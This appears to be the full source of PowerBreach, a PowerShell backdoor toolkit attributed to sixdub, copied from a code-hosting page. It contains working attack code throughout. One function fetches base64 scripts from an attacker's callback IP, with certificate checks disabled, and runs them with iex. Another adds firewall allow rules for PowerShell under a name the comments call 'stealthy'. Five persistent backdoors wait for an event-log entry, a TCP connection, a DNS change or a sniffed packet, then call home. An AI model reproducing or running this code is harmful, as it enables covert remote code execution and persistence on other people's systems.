693 lines
20 KiB
PowerShell
693 lines
20 KiB
PowerShell
|
###################################################################################
|
||
|
# Name: PowerBreach
|
||
|
# Author: sixdub (sixdub.net)
|
||
|
# Tested on: Windows 7
|
||
|
#
|
||
|
#
|
||
|
###################################################################################
|
||
|
|
||
|
function Invoke-CallbackIEX
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Used to callback to C2 and execute script
|
||
|
.DESCRIPTION
|
||
|
Used to initiate a callback to a defined node and request a resource. The resource is then decoded and executed as a powershell script. There are many methods for callbacks.
|
||
|
Admin Reqd? No
|
||
|
Firewall Hole Reqd? No
|
||
|
.PARAMETER CallbackIP
|
||
|
The IP Address of the host to callback to
|
||
|
.PARAMETER Method
|
||
|
Defines which method to use to perform the callback.
|
||
|
0 - HTTP *Default
|
||
|
1 - HTTPS
|
||
|
2 - BITS
|
||
|
.PARAMETER BitsTempFile
|
||
|
The path to place a file on disk temporarily when BITS is the chosen method. Default is "%USERTEMP%\ps_conf.cfg".
|
||
|
.PARAMETER Resource
|
||
|
The page to request. Default is "/favicon.ico"
|
||
|
.PARAMETER Silent
|
||
|
Whether you want to produce output or not. Default is "FALSE"
|
||
|
#>
|
||
|
Param(
|
||
|
[Parameter(Mandatory=$True,Position=1)]
|
||
|
[string]$CallbackIP,
|
||
|
[Parameter(Mandatory=$False,Position=2)]
|
||
|
[int]$Method=0,
|
||
|
[Parameter(Mandatory=$False,Position=3)]
|
||
|
[string]$BitsTempFile="$env:temp\ps_conf.cfg",
|
||
|
[Parameter(Mandatory=$False,Position=4)]
|
||
|
[string]$resource="/favicon.ico",
|
||
|
[Parameter(Mandatory=$False,Position=5)]
|
||
|
[bool]$Silent=$false
|
||
|
)
|
||
|
|
||
|
#if you have a place to call home too...
|
||
|
if($CallbackIP)
|
||
|
{
|
||
|
try {
|
||
|
#HTTP Method
|
||
|
if ($Method -eq 0)
|
||
|
{
|
||
|
#Set the url
|
||
|
$url="http://$CallbackIP$resource"
|
||
|
if(-not $Silent) {write-host "Calling home with method $method to: $url"}
|
||
|
#download string from the URL
|
||
|
$enc = (new-object net.webclient).downloadstring($url)
|
||
|
}
|
||
|
#HTTPS Method
|
||
|
elseif ($Method -eq 1)
|
||
|
{
|
||
|
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
||
|
$url="https://$CallbackIP$resource"
|
||
|
if(-not $Silent) {write-host "Calling home with method $method to: $url"}
|
||
|
#download string from the URL with HTTPS
|
||
|
$enc = (new-object net.webclient).downloadstring($url)
|
||
|
}
|
||
|
#Bits Method
|
||
|
elseif ($Method -eq 2)
|
||
|
{
|
||
|
$url="http://$CallbackIP$resource"
|
||
|
if(-not $Silent) { write-host "Calling home with method $method to: $url"
|
||
|
write-host "BITS Temp output to: $BitsTempFile"}
|
||
|
Import-Module *bits*
|
||
|
Start-BitsTransfer $url $BitsTempFile -ErrorAction Stop
|
||
|
|
||
|
$enc = Get-Content $BitsTempFile -ErrorAction Stop
|
||
|
|
||
|
#delete the temp file
|
||
|
Remove-Item $BitsTempFile -ErrorAction SilentlyContinue
|
||
|
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
if(-not $Silent) { write-host "Error: Improper callback method" -fore red}
|
||
|
return 0
|
||
|
}
|
||
|
|
||
|
#Check to make sure something got downloaded, if so, decode it and
|
||
|
if ($enc)
|
||
|
{
|
||
|
#decode the string
|
||
|
$b = [System.Convert]::FromBase64String($enc)
|
||
|
$dec = [System.Text.Encoding]::UTF8.GetString($b)
|
||
|
|
||
|
#execute script
|
||
|
iex $dec
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
if(-not $Silent) { write-host "Error: No Data Downloaded" -fore red}
|
||
|
return 0
|
||
|
}
|
||
|
}
|
||
|
catch [System.Net.WebException]{
|
||
|
if(-not $Silent) { write-host "Error: Network Callback failed" -fore red}
|
||
|
return 0
|
||
|
}
|
||
|
catch [System.FormatException]{
|
||
|
if(-not $Silent) { write-host "Error: Base64 Format Problem" -fore red}
|
||
|
return 0
|
||
|
}
|
||
|
catch [System.Exception]{
|
||
|
if(-not $Silent) { write-host "Error: Uknown problem during transfer" -fore red}
|
||
|
#$_.Exception | gm
|
||
|
return 0
|
||
|
}
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
if(-not $Silent) { write-host "No host specified for the phone home :(" -fore red}
|
||
|
return 0
|
||
|
}
|
||
|
|
||
|
return 1
|
||
|
}
|
||
|
|
||
|
function Add-PSFirewallRules
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Used to open a hole in the firewall to allow Powershell to communicate
|
||
|
.DESCRIPTION
|
||
|
Opens 4 rules in the firewall, 2 for each direction. Allows TCP and UDP communications on ports 1-65000. This will hopefully prevent popups from displaying to interactive user.
|
||
|
Admin Reqd? No
|
||
|
Firewall Hole Reqd? No
|
||
|
.PARAMETER RuleName
|
||
|
The name of the rule to be added to the firewall. This should be stealthy. Default="Windows Powershell"
|
||
|
.PARAMETER ExePath
|
||
|
The program to allow through the filewall. Default="C:\windows\system32\windowspowershell\v1.0\powershell.exe"
|
||
|
.PARAMETER Ports
|
||
|
The ports to allow communications on. Default="1-65000"
|
||
|
#>
|
||
|
Param(
|
||
|
[Parameter(Mandatory=$False,Position=1)]
|
||
|
[string]$RuleName="Windows Powershell",
|
||
|
[Parameter(Mandatory=$False,Position=2)]
|
||
|
[string]$ExePath="C:\windows\system32\windowspowershell\v1.0\powershell.exe",
|
||
|
[Parameter(Mandatory=$False,Position=3)]
|
||
|
[string]$Ports="1-65000"
|
||
|
)
|
||
|
|
||
|
If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
|
||
|
{
|
||
|
Write-Host "This command requires Admin :(... get to work! "
|
||
|
Return
|
||
|
}
|
||
|
|
||
|
#Rule 1, TCP, Outbound
|
||
|
$fw = New-Object -ComObject hnetcfg.fwpolicy2
|
||
|
$rule = New-Object -ComObject HNetCfg.FWRule
|
||
|
$rule.Name = $RuleName
|
||
|
$rule.ApplicationName=$ExePath
|
||
|
$rule.Protocol = 6
|
||
|
$rule.LocalPorts = $Ports
|
||
|
$rule.Direction = 2
|
||
|
$rule.Enabled=$true
|
||
|
$rule.Grouping="@firewallapi.dll,-23255"
|
||
|
$rule.Profiles = 7
|
||
|
$rule.Action=1
|
||
|
$rule.EdgeTraversal=$false
|
||
|
$fw.Rules.Add($rule)
|
||
|
|
||
|
#Rule 2, UDP Outbound
|
||
|
$rule = New-Object -ComObject HNetCfg.FWRule
|
||
|
$rule.Name = $RuleName
|
||
|
$rule.ApplicationName=$ExePath
|
||
|
$rule.Protocol = 17
|
||
|
$rule.LocalPorts = $Ports
|
||
|
$rule.Direction = 2
|
||
|
$rule.Enabled=$true
|
||
|
$rule.Grouping="@firewallapi.dll,-23255"
|
||
|
$rule.Profiles = 7
|
||
|
$rule.Action=1
|
||
|
$rule.EdgeTraversal=$false
|
||
|
$fw.Rules.Add($rule)
|
||
|
|
||
|
#Rule 3, TCP Inbound
|
||
|
$rule = New-Object -ComObject HNetCfg.FWRule
|
||
|
$rule.Name = $RuleName
|
||
|
$rule.ApplicationName=$ExePath
|
||
|
$rule.Protocol = 6
|
||
|
$rule.LocalPorts = $Ports
|
||
|
$rule.Direction = 1
|
||
|
$rule.Enabled=$true
|
||
|
$rule.Grouping="@firewallapi.dll,-23255"
|
||
|
$rule.Profiles = 7
|
||
|
$rule.Action=1
|
||
|
$rule.EdgeTraversal=$false
|
||
|
$fw.Rules.Add($rule)
|
||
|
|
||
|
#Rule 4, UDP Inbound
|
||
|
$rule = New-Object -ComObject HNetCfg.FWRule
|
||
|
$rule.Name = $RuleName
|
||
|
$rule.ApplicationName=$ExePath
|
||
|
$rule.Protocol = 17
|
||
|
$rule.LocalPorts = $Ports
|
||
|
$rule.Direction = 1
|
||
|
$rule.Enabled=$true
|
||
|
$rule.Grouping="@firewallapi.dll,-23255"
|
||
|
$rule.Profiles = 7
|
||
|
$rule.Action=1
|
||
|
$rule.EdgeTraversal=$false
|
||
|
$fw.Rules.Add($rule)
|
||
|
|
||
|
}
|
||
|
|
||
|
function Invoke-EventLoop
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Starts the event-loop backdoor
|
||
|
.DESCRIPTION
|
||
|
The backdoor continually parses the Security event logs. For every entry, it checks to see if the message contains a unique trigger value. If it finds the trigger, it calls back to a predefined IP Address. This backdoor is based on the Shmoocon presentation "Wipe the Drive". See here for more info: XXXXXXXXX
|
||
|
Admin Reqd? Yes
|
||
|
Firewall Hole Reqd? No
|
||
|
.PARAMETER CallbackIP
|
||
|
The IP Address of the host to callback to
|
||
|
.PARAMETER Trigger
|
||
|
The unique value to look for in every event packet. In the case of RDP, this will be the username you use to attempt a login. Default="SIXDUB"
|
||
|
.PARAMETER Timeout
|
||
|
A value in seconds to continue running the backdoor. Default=0 (run forever)
|
||
|
.PARAMETER Sleep
|
||
|
The time to sleep in between event log checks.
|
||
|
#>
|
||
|
Param(
|
||
|
[Parameter(Mandatory=$True,Position=1)]
|
||
|
[string]$CallbackIP,
|
||
|
[Parameter(Mandatory=$False,Position=2)]
|
||
|
[string]$Trigger="SIXDUB",
|
||
|
[Parameter(Mandatory=$False,Position=3)]
|
||
|
[int]$Timeout=0,
|
||
|
[Parameter(Mandatory=$False,Position=4)]
|
||
|
[int] $Sleep=1
|
||
|
)
|
||
|
|
||
|
If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
|
||
|
{
|
||
|
Write-Host "This backdoor requires Admin :(... get to work! "
|
||
|
Return
|
||
|
}
|
||
|
#Output info
|
||
|
write-host "Timeout: $Timeout"
|
||
|
write-host "Trigger: $Trigger"
|
||
|
write-host "CallbackIP: $CallbackIP"
|
||
|
write-host
|
||
|
write-host "Starting backdoor..."
|
||
|
|
||
|
#initiate loop variables
|
||
|
$running=$true
|
||
|
$match =""
|
||
|
$starttime = get-date
|
||
|
while($running)
|
||
|
{
|
||
|
#check timeout value
|
||
|
if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired
|
||
|
{
|
||
|
$running=$false
|
||
|
}
|
||
|
#grab all events since the last cycle and store their "message" into a variable
|
||
|
$d = Get-Date
|
||
|
$NewEvents = Get-WinEvent -FilterHashtable @{logname='Security'; StartTime=$d.AddSeconds(-$Sleep)} -ErrorAction SilentlyContinue | fl Message | Out-String
|
||
|
|
||
|
#check if the events contain our trigger value
|
||
|
if ($NewEvents -match $Trigger)
|
||
|
{
|
||
|
$running=$false
|
||
|
$match = $CallbackIP
|
||
|
write-host "Match: $match"
|
||
|
}
|
||
|
sleep -s $Sleep
|
||
|
}
|
||
|
if($match)
|
||
|
{
|
||
|
$success = Invoke-CallbackIEX $match
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function Invoke-PortBind
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Starts the TCP Port Bind backdoor
|
||
|
.DESCRIPTION
|
||
|
The backdoor opens a TCP port on a specified port. For every connection to the port, it looks for a specified trigger value. When found, it initiates a callback and closes the TCP Port.
|
||
|
Admin Reqd? No
|
||
|
Firewall Hole Reqd? Yes
|
||
|
.PARAMETER CallbackIP
|
||
|
The IP Address of the host to callback to. By default, this backdoor calls back to whoever triggered it.
|
||
|
.PARAMETER LocalIP
|
||
|
The interface to bind the TCP port to. By default, the script will use the default GW to determine this value.
|
||
|
.PARAMETER Port
|
||
|
The port to bind. Default=4444
|
||
|
.PARAMETER Trigger
|
||
|
The unique value the backdoor is waiting for. Default="QAZWSX123"
|
||
|
.PARAMETER Timeout
|
||
|
The time to run the backdoor. Default=0 (run forever)
|
||
|
#>
|
||
|
Param(
|
||
|
[Parameter(Mandatory=$False,Position=1)]
|
||
|
[string]$CallbackIP,
|
||
|
[Parameter(Mandatory=$False,Position=2)]
|
||
|
[string]$LocalIP,
|
||
|
[Parameter(Mandatory=$False,Position=3)]
|
||
|
[int]$Port=4444,
|
||
|
[Parameter(Mandatory=$False,Position=4)]
|
||
|
[string]$Trigger="QAZWSX123",
|
||
|
[Parameter(Mandatory=$False,Position=5)]
|
||
|
[int]$Timeout=0
|
||
|
)
|
||
|
|
||
|
# try to figure out which IP address to bind to by looking at the default route
|
||
|
if (-not $LocalIP)
|
||
|
{
|
||
|
route print 0* | % {
|
||
|
if ($_ -match "\s{2,}0\.0\.0\.0") {
|
||
|
$null,$null,$null,$LocalIP,$null = [regex]::replace($_.trimstart(" "),"\s{2,}",",").split(",")
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
#output info
|
||
|
write-host "!!! THIS BACKDOOR REQUIRES FIREWALL EXCEPTION !!!"
|
||
|
write-host "Timeout: $Timeout"
|
||
|
write-host "Port: $Port"
|
||
|
write-host "Trigger: $Trigger"
|
||
|
write-host "Using IPv4 Address: $LocalIP"
|
||
|
write-host "CallbackIP: $CallbackIP"
|
||
|
write-host
|
||
|
write-host "Starting backdoor..."
|
||
|
try{
|
||
|
|
||
|
#Define and initialize all the networing stuff
|
||
|
$ipendpoint = new-object system.net.ipendpoint([net.ipaddress]"$localIP",$Port)
|
||
|
$Listener = new-object System.Net.Sockets.TcpListener $ipendpoint
|
||
|
$Listener.Start()
|
||
|
|
||
|
#set variables for the loop
|
||
|
$running=$true
|
||
|
$match =""
|
||
|
$starttime = get-date
|
||
|
while($running)
|
||
|
{
|
||
|
#Check for timeout
|
||
|
if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired
|
||
|
{
|
||
|
$running=$false
|
||
|
}
|
||
|
|
||
|
#If there is a connection pending on the socket
|
||
|
if($Listener.Pending())
|
||
|
{
|
||
|
#accept the client and define the input stream
|
||
|
$Client = $Listener.AcceptTcpClient()
|
||
|
write-host "Client Connected!"
|
||
|
$Stream = $Client.GetStream()
|
||
|
$Reader = new-object System.IO.StreamReader $Stream
|
||
|
|
||
|
#read one line off the socket
|
||
|
$line = $Reader.ReadLine()
|
||
|
|
||
|
#check to see if proper trigger value
|
||
|
if ($line -eq $Trigger)
|
||
|
{
|
||
|
$running=$false
|
||
|
$match = ([system.net.ipendpoint] $Client.Client.RemoteEndPoint).Address.ToString()
|
||
|
write-host "MATCH: $match"
|
||
|
}
|
||
|
|
||
|
#clean up
|
||
|
$reader.Dispose()
|
||
|
$stream.Dispose()
|
||
|
$Client.Close()
|
||
|
write-host "Client Disconnected"
|
||
|
}
|
||
|
}
|
||
|
|
||
|
#Stop the socket and check for match
|
||
|
write-host "Stopping Socket"
|
||
|
$Listener.Stop()
|
||
|
if($match)
|
||
|
{
|
||
|
if($CallbackIP)
|
||
|
{
|
||
|
$success = Invoke-CallbackIEX $CallbackIP
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$success = Invoke-CallbackIEX $Match
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
catch [System.Net.Sockets.SocketException] {
|
||
|
write-host "Error: Socket Error" -fore red
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function Invoke-DNSLoop
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Starts the DNS Loop Backdoor
|
||
|
.DESCRIPTION
|
||
|
This backdoor resolves a predefined hostname at a preset interval. If the resolved address is different than the specified trigger, than it initiates a callback
|
||
|
Admin Reqd? No
|
||
|
Firewall Hole Reqd? No
|
||
|
.PARAMETER CallbackIP
|
||
|
The IP Address of the host to callback to. By default, this backdoor calls back to the newly resolved IP Address.
|
||
|
.PARAMETER Hostname
|
||
|
The hostname to routinely check for a trigger. Default="yay.sixdub.net"
|
||
|
.PARAMETER Trigger
|
||
|
The IP Address that the backdoor is looking for. Default="127.0.0.1"
|
||
|
.PARAMETER Timeout
|
||
|
The time to run the backdoor. Default=0 (run forever)
|
||
|
.PARAMETER Sleep
|
||
|
The seconds to sleep between DNS resolution. Default="1s"
|
||
|
#>
|
||
|
param(
|
||
|
[Parameter(Mandatory=$False,Position=1)]
|
||
|
[string]$CallbackIP,
|
||
|
[Parameter(Mandatory=$False,Position=2)]
|
||
|
[string]$Hostname="yay.sixdub.net",
|
||
|
[Parameter(Mandatory=$False,Position=3)]
|
||
|
[string]$Trigger="127.0.0.1",
|
||
|
[Parameter(Mandatory=$False,Position=4)]
|
||
|
[int] $Timeout=0,
|
||
|
[Parameter(Mandatory=$False,Position=5)]
|
||
|
[int] $Sleep=1
|
||
|
)
|
||
|
|
||
|
#output info
|
||
|
write-host "Timeout: $Timeout"
|
||
|
write-host "Sleep Time: $Sleep"
|
||
|
write-host "Trigger: $Trigger"
|
||
|
write-host "Using Hostname: $Hostname"
|
||
|
write-host "CallbackIP: $CallbackIP"
|
||
|
write-host
|
||
|
write-host "Starting backdoor..."
|
||
|
|
||
|
#set loop variables
|
||
|
$running=$true
|
||
|
$match =""
|
||
|
$starttime = get-date
|
||
|
while($running)
|
||
|
{
|
||
|
#check timeout
|
||
|
if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired
|
||
|
{
|
||
|
$running=$false
|
||
|
}
|
||
|
|
||
|
try {
|
||
|
#try to resolve hostname
|
||
|
$ips = [System.Net.Dns]::GetHostAddresses($Hostname)
|
||
|
foreach ($addr in $ips)
|
||
|
{
|
||
|
#take all of the IPs returned and check to see if they have changed from our "trigger
|
||
|
#If they do not match the trigger, use it for C2 address
|
||
|
$resolved=$addr.IPAddressToString
|
||
|
if($resolved -ne $Trigger)
|
||
|
{
|
||
|
$running=$false
|
||
|
$match=$resolved
|
||
|
write-host "Match: $match"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
}
|
||
|
catch [System.Net.Sockets.SocketException]{
|
||
|
|
||
|
}
|
||
|
|
||
|
sleep -s $Sleep
|
||
|
}
|
||
|
write-host "Shutting down DNS Check..."
|
||
|
if($match)
|
||
|
{
|
||
|
if($CallbackIP)
|
||
|
{
|
||
|
$success = Invoke-CallbackIEX $CallbackIP
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$success = Invoke-CallbackIEX $Match
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function Invoke-PacketKnock
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Starts the Packet Knock backdoor
|
||
|
.DESCRIPTION
|
||
|
The backdoor sniffs packets destined for a certain interface. In each packet, a trigger value is looked for. The the trigger value is found, the backdoor initiates a callback. This backdoor utilizes a promiscuous socket and should not open up a port on the system.
|
||
|
Admin Reqd? Yes
|
||
|
Firewall Hole Reqd? Yes
|
||
|
.PARAMETER CallbackIP
|
||
|
The IP Address of the host to callback to. By default, this backdoor calls back to whoever triggered it.
|
||
|
.PARAMETER LocalIP
|
||
|
The interface to bind the TCP port to. By default, the script will use the default GW to determine this value.
|
||
|
.PARAMETER Trigger
|
||
|
The unique value the backdoor is waiting for. Default="QAZWSX123"
|
||
|
.PARAMETER Timeout
|
||
|
The time to run the backdoor. Default=0 (run forever)
|
||
|
#>
|
||
|
param(
|
||
|
[Parameter(Mandatory=$False,Position=1)]
|
||
|
[string]$CallbackIP,
|
||
|
[Parameter(Mandatory=$False,Position=2)]
|
||
|
[string]$LocalIP,
|
||
|
[Parameter(Mandatory=$False,Position=3)]
|
||
|
[string]$Trigger="QAZWSX123",
|
||
|
[Parameter(Mandatory=$False,Position=4)]
|
||
|
[int]$Timeout=0
|
||
|
)
|
||
|
If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
|
||
|
{
|
||
|
Write-Host "This backdoor requires Admin :(... get to work! "
|
||
|
Return
|
||
|
}
|
||
|
# try to figure out which IP address to bind to by looking at the default route
|
||
|
if (-not $LocalIP)
|
||
|
{
|
||
|
route print 0* | % {
|
||
|
if ($_ -match "\s{2,}0\.0\.0\.0") {
|
||
|
$null,$null,$null,$LocalIP,$null = [regex]::replace($_.trimstart(" "),"\s{2,}",",").split(",")
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
#output info
|
||
|
write-host "!!! THIS BACKDOOR REQUIRES FIREWALL EXCEPTION !!!"
|
||
|
write-host "Timeout: $Timeout"
|
||
|
write-host "Trigger: $Trigger"
|
||
|
write-host "Using IPv4 Address: $LocalIP"
|
||
|
write-host "CallbackIP: $CallbackIP"
|
||
|
write-host
|
||
|
write-host "Starting backdoor..."
|
||
|
|
||
|
#define bytes for socket setup
|
||
|
$byteIn = new-object byte[] 4
|
||
|
$byteOut = new-object byte[] 4
|
||
|
$byteData = new-object byte[] 4096 # size of data
|
||
|
|
||
|
$byteIn[0] = 1 # this enables promiscuous mode (ReceiveAll)
|
||
|
$byteIn[1-3] = 0
|
||
|
$byteOut[0-3] = 0
|
||
|
|
||
|
#Open a raw socket and set to promiscuous mode. Include the IP Header
|
||
|
$socket = new-object system.net.sockets.socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP)
|
||
|
$socket.setsocketoption("IP","HeaderIncluded",$true)
|
||
|
$socket.ReceiveBufferSize = 819200
|
||
|
|
||
|
#set the local socket info and bind it
|
||
|
$ipendpoint = new-object system.net.ipendpoint([net.ipaddress]"$localIP",0)
|
||
|
$socket.bind($ipendpoint)
|
||
|
|
||
|
#turn on promiscuous
|
||
|
[void]$socket.iocontrol([net.sockets.iocontrolcode]::ReceiveAll,$byteIn,$byteOut)
|
||
|
|
||
|
#set loop data
|
||
|
$starttime = get-date
|
||
|
$running = $true
|
||
|
$match = ""
|
||
|
$packets = @()
|
||
|
while ($running)
|
||
|
{
|
||
|
#check timeout
|
||
|
if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired
|
||
|
{
|
||
|
$running=$false
|
||
|
}
|
||
|
#check for queued up packets
|
||
|
if (-not $socket.Available)
|
||
|
{
|
||
|
start-sleep -milliseconds 500
|
||
|
continue
|
||
|
}
|
||
|
|
||
|
#Take any date off the socket
|
||
|
$rcv = $socket.receive($byteData,0,$byteData.length,[net.sockets.socketflags]::None)
|
||
|
|
||
|
# Created streams and readers
|
||
|
$MemoryStream = new-object System.IO.MemoryStream($byteData,0,$rcv)
|
||
|
$BinaryReader = new-object System.IO.BinaryReader($MemoryStream)
|
||
|
|
||
|
# Trash all the header bytes we dont care about. RFC 791
|
||
|
$trash = $BinaryReader.ReadBytes(12)
|
||
|
|
||
|
#Read the SRC and DST IP
|
||
|
$SourceIPAddress = $BinaryReader.ReadUInt32()
|
||
|
$SourceIPAddress = [System.Net.IPAddress]$SourceIPAddress
|
||
|
$DestinationIPAddress = $BinaryReader.ReadUInt32()
|
||
|
$DestinationIPAddress = [System.Net.IPAddress]$DestinationIPAddress
|
||
|
$RemainderBytes = $BinaryReader.ReadBytes($MemoryStream.Length)
|
||
|
|
||
|
#Convert the remainder of the packet into ASCII
|
||
|
$AsciiEncoding = new-object system.text.asciiencoding
|
||
|
$RemainderOfPacket = $AsciiEncoding.GetString($RemainderBytes)
|
||
|
|
||
|
#clean up clean up
|
||
|
$BinaryReader.Close()
|
||
|
$memorystream.Close()
|
||
|
|
||
|
#check rest of packet for trigger value
|
||
|
if ($RemainderOfPacket -match $Trigger)
|
||
|
{
|
||
|
write-host "Match: " $SourceIPAddress
|
||
|
$running=$false
|
||
|
$match = $SourceIPAddress
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if($match)
|
||
|
{
|
||
|
if($CallbackIP)
|
||
|
{
|
||
|
$success = Invoke-CallbackIEX $CallbackIP
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$success = Invoke-CallbackIEX $Match
|
||
|
}
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function Invoke-CallbackLoop
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Starts the Callback loop backdoor
|
||
|
.DESCRIPTION
|
||
|
The backdoor initiates a callback on a routine interval. If successful in executing a script, the backdoor will exit.
|
||
|
Admin Reqd? No
|
||
|
Firewall Hole Reqd? No
|
||
|
.PARAMETER CallbackIP
|
||
|
The IP Address of the host to callback to.
|
||
|
.PARAMETER Timeout
|
||
|
The time to run the backdoor. Default=0 (run forever)
|
||
|
.PARAMETER Sleep
|
||
|
The seconds to sleep between callback. Default=1.
|
||
|
#>
|
||
|
Param(
|
||
|
[Parameter(Mandatory=$True,Position=1)]
|
||
|
[string]$CallbackIP,
|
||
|
[Parameter(Mandatory=$False,Position=2)]
|
||
|
[int]$Timeout=0,
|
||
|
[Parameter(Mandatory=$False,Position=3)]
|
||
|
[int] $Sleep=1
|
||
|
)
|
||
|
|
||
|
#Output info
|
||
|
write-host "Timeout: $Timeout"
|
||
|
write-host "Sleep: $Sleep"
|
||
|
write-host "CallbackIP: $CallbackIP"
|
||
|
write-host
|
||
|
write-host "Starting backdoor..."
|
||
|
|
||
|
#initiate loop variables
|
||
|
$running=$true
|
||
|
$match =""
|
||
|
$starttime = get-date
|
||
|
while($running)
|
||
|
{
|
||
|
#check timeout value
|
||
|
if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired
|
||
|
{
|
||
|
$running=$false
|
||
|
}
|
||
|
|
||
|
$CheckSuccess = Invoke-CallbackIEX $CallbackIP -Silent $true
|
||
|
|
||
|
if($CheckSuccess -eq 1)
|
||
|
{
|
||
|
$running=$false
|
||
|
}
|
||
|
|
||
|
sleep -s $Sleep
|
||
|
}
|
||
|
|
||
|
write-host "Shutting down backdoor..."
|
||
|
}
|